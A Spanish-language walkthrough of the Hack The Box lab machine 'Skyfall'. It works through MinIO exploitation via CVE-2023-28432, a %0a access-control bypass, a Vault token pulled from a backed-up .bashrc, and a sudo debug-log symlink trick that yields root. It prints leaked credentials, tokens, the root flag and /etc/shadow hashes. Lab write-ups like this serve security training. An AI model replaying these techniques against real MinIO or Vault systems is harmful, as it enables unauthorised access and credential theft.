Comenzamos con una enumeración de puertos por nmap
.
Tenemos el dominio
de skyfall
el cual debemos de ingresar en nuestro /etc/hosts
Realizando reconocimiento de subdominios
tenemos demo.skyfall.htb
Es como un almacenamiento en la nube. Intento acceder a esas métricas de Minio y me aparece un mensaje de 'Prohibido'. Pero puede ser eludido mediante %0a
. Y puedes ver todos los nodos."
Al final de la página, encontré un subdominio y lo añadí a mi archivo de hosts.
prd23-s3-backend.skyfall.htb
Debemos de ir al siguiente endpoint.
http://prd23-s3-backend.skyfall.htb/minio/v2/metrics/cluster
Debemos de validar si es vulnerable a CVE-2023-28432
en el /cluster
. La cual nos devolverá unas credenciales.
https://github.com/acheiii/CVE-2023-28432
"MinioEnv":{"MINIO_ACCESS_KEY_FILE":"access_key","MINIO_BROWSER":"off","MINIO_CONFIG_ENV_FILE":"config.env","MINIO_KMS_SECRET_KEY_FILE":"kms_master_key","MINIO_PROMETHEUS_AUTH_TYPE":"public",
"MINIO_ROOT_PASSWORD":"GkpjkmiVmpFuL2d3oRx0","MINIO_ROOT_PASSWORD_FILE":"secret_key",
"MINIO_ROOT_USER":"5GrE1B2YGGyZzNHZaIww","MINIO_ROOT_USER_FILE":"access_key","MINIO_SECRET_KEY_FILE":"secret_key","MINIO_UPDATE":"off",
"MINIO_UPDATE_MINISIGN_PUBKEY":"RWTx5Zr1tiHQLwG9keckT0c45M3AGeHD6IvimQHpyRywVWGbP1aVSGav"}}
http://prd23-s3-backend.skyfall.htb/<bucket>/<objeto>
http://prd23-s3-backend.skyfall.htb/minio/v2/metrics/node
lanzamos un curl
para ver la información que nos trae.
Podemos ingresar a CLI
de AWS
para ver que información tenemos ya que no deja de ser un s3. Pero con AWS tenemos una agujero de conejo.
tenemos que bajarnos el Binario de minio para poder interactuar a nivel de cli.
./mc alias set myminio 'http://prd23-s3-backend.skyfall.htb' 5GrE1B2YGGyZzNHZaIww
Enter Secret Key:
Added `myminio` successfully.
"MINIO_ROOT_USER": "5GrE1B2YGGyZzNHZaIww",
"MINIO_ROOT_PASSWORD": "GkpjkmiVmpFuL2d3oRx0",
Enumeramos la información en el sistema de almacenamiento de Minio.
Para este punto la maquina tiene muchos agujeros de conejo. Sigamos con lo que nos interesa.
cat .bash_logout
# ~/.bash_logout: executed by bash(1) when login shell exits.
# when leaving the console clear the screen to increase privacy
if [ "$SHLVL" = 1 ]; then
[ -x /usr/bin/clear_console ] && /usr/bin/clear_console -q
fi
No tenemos nada en el authorized_keys
Dentro de la nube encontré unos backups
, pero dichos backups tienen Versiones
por ende debemos de especificar cual queremos bajar por que si bajamos el backup sin la flag de --version-id
se nos bajara una que no nos servirá para la explotación.
./mc cp myminio/askyy/home_backup.tar.gz /home/kali/HTB/Skyfall/skyfall_infos3/DecompresEnd/home_backup_v1.tar.gz --version-id=3c498578-8dfe-43b7-b679-32a3fe42018f
./mc cp myminio/askyy/home_backup.tar.gz /home/kali/HTB/Skyfall/skyfall_infos3/DecompresEnd/home_backup_v2.tar.gz --version-id=2b75346d-2a47-4203-ab09-3c9f878466b8
./mc cp myminio/askyy/home_backup.tar.gz /home/kali/HTB/Skyfall/skyfall_infos3/DecompresEnd/home_backup_v3.tar.gz --version-id=25835695-5e73-4c13-82f7-30fd2da2cf61
Comenzamos a descomprimir con tar -xzvf
Nuevamente tenemos mas agujeros de conejo con las .shh/authorized_keys
askyy@skyfall
Intente ingresar con las claves pero no es posible.
en el .bashrc
podemos evidenciar lo siguiente:
VAULT_API_ADDR="http://prd23-vault-internal.skyfall.htb"
44 │ export VAULT_TOKEN="hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE"
export VAULT_API_ADDR="http://prd23-vault-internal.skyfall.htb"
44 │ export VAULT_TOKEN="hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE"
Key Value
--- -----
token hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE
token_accessor rByv1coOBC9ITZpzqbDtTUm8
token_duration 435911h28m51s
token_renewable true
token_policies ["default" "developers"]
identity_policies []
policies ["default" "developers"]
Ya con esta información del .bashrc
tenemos que generar un otp key
hacia nuestra ip de la siguiente manera:
export VAULT_TOKEN="hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE"
vault write -address="http://prd23-vault-internal.skyfall.htb" ssh/creds/dev_otp_key_role ip=10.129.11.132 username=askyy
En este punto ya tenemos la primera flag de usuario.
Yendo al siguiente github obtuve información sobre como generar unas claves en el vault
pero con root
.
https://github.com/lrstanley/vault-unseal/blob/master/example.vault-unseal.yaml
touch exfil; ln -sf exfil debug.log;sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -dv
debemos de pasarle el --addres
y la siguiente cadena para que nos genera una shell
con root
.
hvs.I0ewVsmaKU1SwVZAKR3T0mmG
vault write --address="http://prd23-vault-internal.skyfall.htb" ssh/creds/admin_otp_key_role ip=10.129.11.132 username=root
Cuando realizamos el login
al vault como usuario root
debemos de generar las keys
.
Como en el ejercicio anterior una vez ingresos dichos parámetros se no harbe una shell como root.
flag root:
d4c19f0dddf97ce4418a0ecc9c7e45e7
root@skyfall:~#
root@skyfall:~# cat /etc/shadow
root:$y$j9T$4uH0lUFbgz7XKRP4f/FgP.$gEGN1NQvQhD2aRx452dXMDPZm67IbrFtfzxH.6smSl7:19669:0:99999:7:::
daemon:*:19579:0:99999:7:::
bin:*:19579:0:99999:7:::
sys:*:19579:0:99999:7:::
sync:*:19579:0:99999:7:::
games:*:19579:0:99999:7:::
man:*:19579:0:99999:7:::
lp:*:19579:0:99999:7:::
mail:*:19579:0:99999:7:::
news:*:19579:0:99999:7:::
uucp:*:19579:0:99999:7:::
proxy:*:19579:0:99999:7:::
www-data:*:19579:0:99999:7:::
backup:*:19579:0:99999:7:::
list:*:19579:0:99999:7:::
irc:*:19579:0:99999:7:::
gnats:*:19579:0:99999:7:::
nobody:*:19579:0:99999:7:::
_apt:*:19579:0:99999:7:::
systemd-network:*:19579:0:99999:7:::
systemd-resolve:*:19579:0:99999:7:::
messagebus:*:19579:0:99999:7:::
systemd-timesync:*:19579:0:99999:7:::
pollinate:*:19579:0:99999:7:::
sshd:*:19579:0:99999:7:::
usbmux:*:19639:0:99999:7:::
askyy:$y$j9T$2AbGppWMps3JvtLZF2M0z/$nXpvYtHOjqCBu9NN3Y24c/Yu89tZxhF4gwreW8VSLc8:19669:0:99999:7:::
_laurel:!:19745::::::